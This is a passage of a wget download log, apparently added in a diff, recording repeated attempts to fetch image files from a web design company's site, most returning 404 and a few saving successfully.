+           => `./original/toolbox.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:21:42 ERROR 404: Not Found.
+
+--14:21:42--  http://www.gaslightmedia.com/images/original/contactdb.gif
+           => `./original/contactdb.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:21:42 ERROR 404: Not Found.
+
+--14:21:42--  http://www.gaslightmedia.com/images/original/forms.gif
+           => `./original/forms.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:21:42 ERROR 404: Not Found.
+
+--14:21:42--  http://www.gaslightmedia.com/images/original/bannerads.gif
+           => `./original/bannerads.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:21:43 ERROR 404: Not Found.
+
+--14:21:43--  http://www.gaslightmedia.com/images/original/events.gif
+           => `./original/events.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:21:43 ERROR 404: Not Found.
+
+--14:21:43--  http://www.gaslightmedia.com/images/original/exchange.gif
+           => `./original/exchange.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:21:43 ERROR 404: Not Found.
+
+--14:21:43--  http://www.gaslightmedia.com/images/original/coupons.gif
+           => `./original/coupons.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:21:43 ERROR 404: Not Found.
+
+--14:21:43--  http://www.gaslightmedia.com/images/original/members.gif
+           => `./original/members.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:21:43 ERROR 404: Not Found.
+
+--14:21:43--  http://www.gaslightmedia.com/images/original/1145468690contactdb.gif
+           => `./original/1145468690contactdb.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:21:43 ERROR 404: Not Found.
+
+--14:21:43--  http://www.gaslightmedia.com/images/original/dsl.gif
+           => `./original/dsl.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:21:43 ERROR 404: Not Found.
+
+--14:21:43--  http://www.gaslightmedia.com/images/original/hosting.gif
+           => `./original/hosting.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:21:43 ERROR 404: Not Found.
+
+--14:21:43--  http://www.gaslightmedia.com/images/original/hosting_cusman.gif
+           => `./original/hosting_cusman.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:21:43 ERROR 404: Not Found.
+
+--14:21:43--  http://www.gaslightmedia.com/images/original/flame_worldinnutshell.jpg
+           => `./original/flame_worldinnutshell.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:21:43 ERROR 404: Not Found.
+
+--14:21:43--  http://www.gaslightmedia.com/images/original/cardhouse.jpg
+           => `./original/cardhouse.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:21:43 ERROR 404: Not Found.
+
+--14:21:43--  http://www.gaslightmedia.com/images/original/1145470331reservations.gif
+           => `./original/1145470331reservations.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:21:43 ERROR 404: Not Found.
+
+--14:22:35--  http://www.gaslightmedia.com/images/original/1089404804meeting.jpg
+           => `./original/1089404804meeting.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 7,088 [image/jpeg]
+
+    0K ......                                                100%    6.76 MB/s
+
+14:22:35 (6.76 MB/s) - `./original/1089404804meeting.jpg' saved [7088/7088]
+
+--14:22:35--  http://www.gaslightmedia.com/images/original/map_office3.gif
+           => `./original/map_office3.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 74,009 [image/gif]
+
+    0K .......... .......... .......... .......... .......... 69%   16.28 MB/s
+   50K .......... .......... ..                              100%   10.88 MB/s
+
+14:22:35 (14.12 MB/s) - `./original/map_office3.gif' saved [74009/74009]
+
+--14:22:35--  http://www.gaslightmedia.com/images/original/surfing2.jpg
+           => `./original/surfing2.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 8,419 [image/jpeg]
+
+    0K ........                                              100%    8.03 MB/s
+
+14:22:35 (8.03 MB/s) - `./original/surfing2.jpg' saved [8419/8419]
+
+--14:22:35--  http://www.gaslightmedia.com/images/original/connectivity.jpg
+           => `./original/connectivity.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 4,508 [image/jpeg]
+
+    0K ....                                                  100%    4.30 MB/s
+
+14:22:35 (4.30 MB/s) - `./original/connectivity.jpg' saved [4508/4508]
+
+--14:22:35--  http://www.gaslightmedia.com/images/original/vmail.gif
+           => `./original/vmail.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 10,940 [image/gif]
+
+    0K ..........                                            100%   10.43 MB/s
+
+14:22:35 (10.43 MB/s) - `./original/vmail.gif' saved [10940/10940]
+
+--14:22:35--  http://www.gaslightmedia.com/images/original/reservations.gif
+           => `./original/reservations.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:22:35 ERROR 404: Not Found.
+
+--14:22:35--  http://www.gaslightmedia.com/images/original/toolbox.gif
+           => `./original/toolbox.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:22:35 ERROR 404: Not Found.
+
+--14:22:35--  http://www.gaslightmedia.com/images/original/contactdb.gif
+           => `./original/contactdb.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:22:35 ERROR 404: Not Found.
+
+--14:22:35--  http://www.gaslightmedia.com/images/original/forms.gif
+           => `./original/forms.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:22:35 ERROR 404: Not Found.
+
+--14:22:35--  http://www.gaslightmedia.com/images/original/bannerads.gif
+           => `./original/bannerads.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:22:35 ERROR 404: Not Found.
+
+--14:22:35--  http://www.gaslightmedia.com/images/original/events.gif
+           => `./original/events.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:22:35 ERROR 404: Not Found.
+
+--14:22:35--  http://www.gaslightmedia.com/images/original/exchange.gif
+           => `./original/exchange.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:22:35 ERROR 404: Not Found.
+
+--14:22:35--  http://www.gaslightmedia.com/images/original/coupons.gif
+           => `./original/coupons.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:22:35 ERROR 404: Not Found.
+
+--14:22:35--  http://www.gaslightmedia.com/images/original/members.gif
+           => `./original/members.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:22:35 ERROR 404: Not Found.
+
+--14:22:35--  http://www.gaslightmedia.com/images/original/1145468690contactdb.gif
+           => `./original/1145468690contactdb.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:22:35 ERROR 404: Not Found.
+
+--14:22:35--  http://www.gaslightmedia.com/images/original/dsl.gif
+           => `./original/dsl.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:22:35 ERROR 404: Not Found.
+
+--14:22:35--  http://www.gaslightmedia.com/images/original/hosting.gif
+           => `./original/hosting.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:22:35 ERROR 404: Not Found.
+
+--14:22:35--  http://www.gaslightmedia.com/images/original/hosting_cusman.gif
+           => `./original/hosting_cusman.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:22:35 ERROR 404: Not Found.
+
+--14:22:35--  http://www.gaslightmedia.com/images/original/flame_worldinnutshell.jpg
+           => `./original/flame_worldinnutshell.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:22:36 ERROR 404: Not Found.
+
+--14:22:36--  http://www.gaslightmedia.com/images/original/cardhouse.jpg
+           => `./original/cardhouse.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:22:36 ERROR 404: Not Found.
+
+--14:22:36--  http://www.gaslightmedia.com/images/original/1145470331reservations.gif
+           => `./original/1145470331reservations.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:22:36 ERROR 404: Not Found.
+
+--14:23:54--  http://www.gaslightmedia.com/images/original/1089404804meeting.jpg
+           => `./original/1089404804meeting.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 7,088 [image/jpeg]
+
+    0K ......                                                100%    6.76 MB/s
+
+14:23:54 (6.76 MB/s) - `./original/1089404804meeting.jpg' saved [7088/7088]
+
+--14:23:54--  http://www.gaslightmedia.com/images/original/map_office3.gif
+           => `./original/map_office3.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 74,009 [image/gif]
+
+    0K .......... .......... .......... .......... .......... 69%   12.21 MB/s
+   50K .......... .......... ..                              100%   21.75 MB/s
+
+14:23:54 (14.12 MB/s) - `./original/map_office3.gif' saved [74009/74009]
+
+--14:23:54--  http://www.gaslightmedia.com/images/original/surfing2.jpg
+           => `./original/surfing2.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 8,419 [image/jpeg]
+
+    0K ........                                              100%    8.03 MB/s
+
+14:23:54 (8.03 MB/s) - `./original/surfing2.jpg' saved [8419/8419]
+
+--14:23:54--  http://www.gaslightmedia.com/images/original/connectivity.jpg
+           => `./original/connectivity.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 4,508 [image/jpeg]
+
+    0K ....                                                  100%    4.30 MB/s
+
+14:23:54 (4.30 MB/s) - `./original/connectivity.jpg' saved [4508/4508]
+
+--14:23:54--  http://www.gaslightmedia.com/images/original/vmail.gif
+           => `./original/vmail.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 10,940 [image/gif]
+
+    0K ..........                                            100%   10.43 MB/s
+
+14:23:54 (10.43 MB/s) - `./original/vmail.gif' saved [10940/10940]
+
+--14:23:54--  http://www.gaslightmedia.com/images/original/reservations.gif
+           => `./original/reservations.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:23:54 ERROR 404: Not Found.
+
+--14:23:54--  http://www.gaslightmedia.com/images/original/toolbox.gif
+           => `./original/toolbox.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:23:54 ERROR 404: Not Found.
+
+--14:23:54--  http://www.gaslightmedia.com/images/original/contactdb.gif
+           => `./original/contactdb.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:23:54 ERROR 404: Not Found.
+
+--14:23:54--  http://www.gaslightmedia.com/images/original/forms.gif
+           => `./original/forms.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:23:55 ERROR 404: Not Found.
+
+--14:23:55--  http://www.gaslightmedia.com/images/original/bannerads.gif
+           => `./original/bannerads.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:23:55 ERROR 404: Not Found.
+
+--14:23:55--  http://www.gaslightmedia.com/images/original/events.gif
+           => `./original/events.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:23:55 ERROR 404: Not Found.
+
+--14:23:55--  http://www.gaslightmedia.com/images/original/exchange.gif
+           => `./original/exchange.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:23:55 ERROR 404: Not Found.
+
+--14:23:55--  http://www.gaslightmedia.com/images/original/coupons.gif
+           => `./original/coupons.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:23:55 ERROR 404: Not Found.
+
+--14:23:55--  http://www.gaslightmedia.com/images/original/members.gif
+           => `./original/members.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:23:55 ERROR 404: Not Found.
+
+--14:23:55--  http://www.gaslightmedia.com/images/original/1145468690contactdb.gif
+           => `./original/1145468690contactdb.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:23:55 ERROR 404: Not Found.
+
+--14:23:55--  http://www.gaslightmedia.com/images/original/dsl.gif
+           => `./original/dsl.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:23:55 ERROR 404: Not Found.
+
+--14:23:55--  http://www.gaslightmedia.com/images/original/hosting.gif
+           => `./original/hosting.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:23:55 ERROR 404: Not Found.
+
+--14:23:55--  http://www.gaslightmedia.com/images/original/hosting_cusman.gif
+           => `./original/hosting_cusman.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:23:55 ERROR 404: Not Found.
+
+--14:23:55--  http://www.gaslightmedia.com/images/original/flame_worldinnutshell.jpg
+           => `./original/flame_worldinnutshell.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:23:55 ERROR 404: Not Found.
+
+--14:23:55--  http://www.gaslightmedia.com/images/original/cardhouse.jpg
+           => `./original/cardhouse.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:23:55 ERROR 404: Not Found.
+
+--14:23:55--  http://www.gaslightmedia.com/images/original/1145470331reservations.gif
+           => `./original/1145470331reservations.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:23:55 ERROR 404: Not Found.
+
+--14:23:55--  http://www.gaslightmedia.com/images/original/1145470976toolbox.gif
+           => `./original/1145470976toolbox.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:23:55 ERROR 404: Not Found.
+
+--14:23:55--  http://www.gaslightmedia.com/images/original/messageinbottle.jpg
+           => `./original/messageinbottle.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:23:55 ERROR 404: Not Found.
+
+--14:23:55--  http://www.gaslightmedia.com/images/original/jacks.jpg
+           => `./original/jacks.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:23:55 ERROR 404: Not Found.
+
+--14:23:55--  http://www.gaslightmedia.com/images/original/marbles.jpg
+           => `./original/marbles.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:23:55 ERROR 404: Not Found.
+
+--14:23:55--  http://www.gaslightmedia.com/images/original/managed.jpg
+           => `./original/managed.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:23:55 ERROR 404: Not Found.
+
+--14:23:55--  http://www.gaslightmedia.com/images/original/guyinbed.jpg
+           => `./original/guyinbed.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:23:55 ERROR 404: Not Found.
+
+--14:23:55--  http://www.gaslightmedia.com/images/original/magnifyglass.gif
+           => `./original/magnifyglass.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:23:55 ERROR 404: Not Found.
+
+--14:23:55--  http://www.gaslightmedia.com/images/original/key.gif
+           => `./original/key.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:23:55 ERROR 404: Not Found.
+
+--14:23:55--  http://www.gaslightmedia.com/images/original/approved.gif
+           => `./original/approved.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:23:55 ERROR 404: Not Found.
+
+--14:23:55--  http://www.gaslightmedia.com/images/original/bonus.gif
+           => `./original/bonus.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:23:55 ERROR 404: Not Found.
+
+--14:23:55--  http://www.gaslightmedia.com/images/original/boxes.jpg
+           => `./original/boxes.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:23:55 ERROR 404: Not Found.
+
+--14:25:03--  http://www.gaslightmedia.com/images/original/1089404804meeting.jpg
+           => `./original/1089404804meeting.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 7,088 [image/jpeg]
+
+    0K ......                                                100%    6.76 MB/s
+
+14:25:03 (6.76 MB/s) - `./original/1089404804meeting.jpg' saved [7088/7088]
+
+--14:25:03--  http://www.gaslightmedia.com/images/original/map_office3.gif
+           => `./original/map_office3.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 74,009 [image/gif]
+
+    0K .......... .......... .......... .......... .......... 69%   16.28 MB/s
+   50K .......... .......... ..                              100%   10.88 MB/s
+
+14:25:03 (14.12 MB/s) - `./original/map_office3.gif' saved [74009/74009]
+
+--14:25:03--  http://www.gaslightmedia.com/images/original/surfing2.jpg
+           => `./original/surfing2.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 8,419 [image/jpeg]
+
+    0K ........                                              100%    8.03 MB/s
+
+14:25:03 (8.03 MB/s) - `./original/surfing2.jpg' saved [8419/8419]
+
+--14:25:03--  http://www.gaslightmedia.com/images/original/connectivity.jpg
+           => `./original/connectivity.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 4,508 [image/jpeg]
+
+    0K ....                                                  100%    4.30 MB/s
+
+14:25:03 (4.30 MB/s) - `./original/connectivity.jpg' saved [4508/4508]
+
+--14:25:03--  http://www.gaslightmedia.com/images/original/vmail.gif
+           => `./original/vmail.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 10,940 [image/gif]
+
+    0K ..........                                            100%   10.43 MB/s
+
+14:25:03 (10.43 MB/s) - `./original/vmail.gif' saved [10940/10940]
+
+--14:25:03--  http://www.gaslightmedia.com/images/original/reservations.gif
+           => `./original/reservations.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:25:03 ERROR 404: Not Found.
+
+--14:25:03--  http://www.gaslightmedia.com/images/original/toolbox.gif
+           => `./original/toolbox.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:25:03 ERROR 404: Not Found.
+
+--14:25:03--  http://www.gaslightmedia.com/images/original/contactdb.gif
+           => `./original/contactdb.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:25:03 ERROR 404: Not Found.
+
+--14:25:03--  http://www.gaslightmedia.com/images/original/forms.gif
+           => `./original/forms.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:25:03 ERROR 404: Not Found.
+
+--14:25:03--  http://www.gaslightmedia.com/images/original/bannerads.gif
+           => `./original/bannerads.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:25:03 ERROR 404: Not Found.
+
+--14:25:03--  http://www.gaslightmedia.com/images/original/events.gif
+           => `./original/events.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:25:03 ERROR 404: Not Found.
+
+--14:25:03--  http://www.gaslightmedia.com/images/original/exchange.gif
+           => `./original/exchange.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:25:03 ERROR 404: Not Found.
+
+--14:25:03--  http://www.gaslightmedia.com/images/original/coupons.gif
+           => `./original/coupons.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:25:03 ERROR 404: Not Found.
+
+--14:25:03--  http://www.gaslightmedia.com/images/original/members.gif
+           => `./original/members.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:25:03 ERROR 404: Not Found.
+
+--14:25:03--  http://www.gaslightmedia.com/images/original/1145468690contactdb.gif
+           => `./original/1145468690contactdb.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:25:03 ERROR 404: Not Found.
+
+--14:25:03--  http://www.gaslightmedia.com/images/original/dsl.gif
+           => `./original/dsl.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:25:03 ERROR 404: Not Found.
+
+--14:25:03--  http://www.gaslightmedia.com/images/original/hosting.gif
+           => `./original/hosting.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:25:03 ERROR 404: Not Found.
+
+--14:25:03--  http://www.gaslightmedia.com/images/original/hosting_cusman.gif
+           => `./original/hosting_cusman.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:25:03 ERROR 404: Not Found.
+
+--14:25:03--  http://www.gaslightmedia.com/images/original/flame_worldinnutshell.jpg
+           => `./original/flame_worldinnutshell.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:25:03 ERROR 404: Not Found.
+
+--14:25:03--  http://www.gaslightmedia.com/images/original/cardhouse.jpg
+           => `./original/cardhouse.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:25:03 ERROR 404: Not Found.
+
+--14:25:03--  http://www.gaslightmedia.com/images/original/1145470331reservations.gif
+           => `./original/1145470331reservations.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:25:03 ERROR 404: Not Found.
+
+--14:25:03--  http://www.gaslightmedia.com/images/original/1145470976toolbox.gif
+           => `./original/1145470976toolbox.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:25:03 ERROR 404: Not Found.
+
+--14:25:03--  http://www.gaslightmedia.com/images/original/messageinbottle.jpg
+           => `./original/messageinbottle.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:25:03 ERROR 404: Not Found.
+
+--14:25:03--  http://www.gaslightmedia.com/images/original/jacks.jpg
+           => `./original/jacks.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:25:03 ERROR 404: Not Found.
+
+--14:25:03--  http://www.gaslightmedia.com/images/original/marbles.jpg
+           => `./original/marbles.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:25:03 ERROR 404: Not Found.
+
+--14:25:03--  http://www.gaslightmedia.com/images/original/managed.jpg
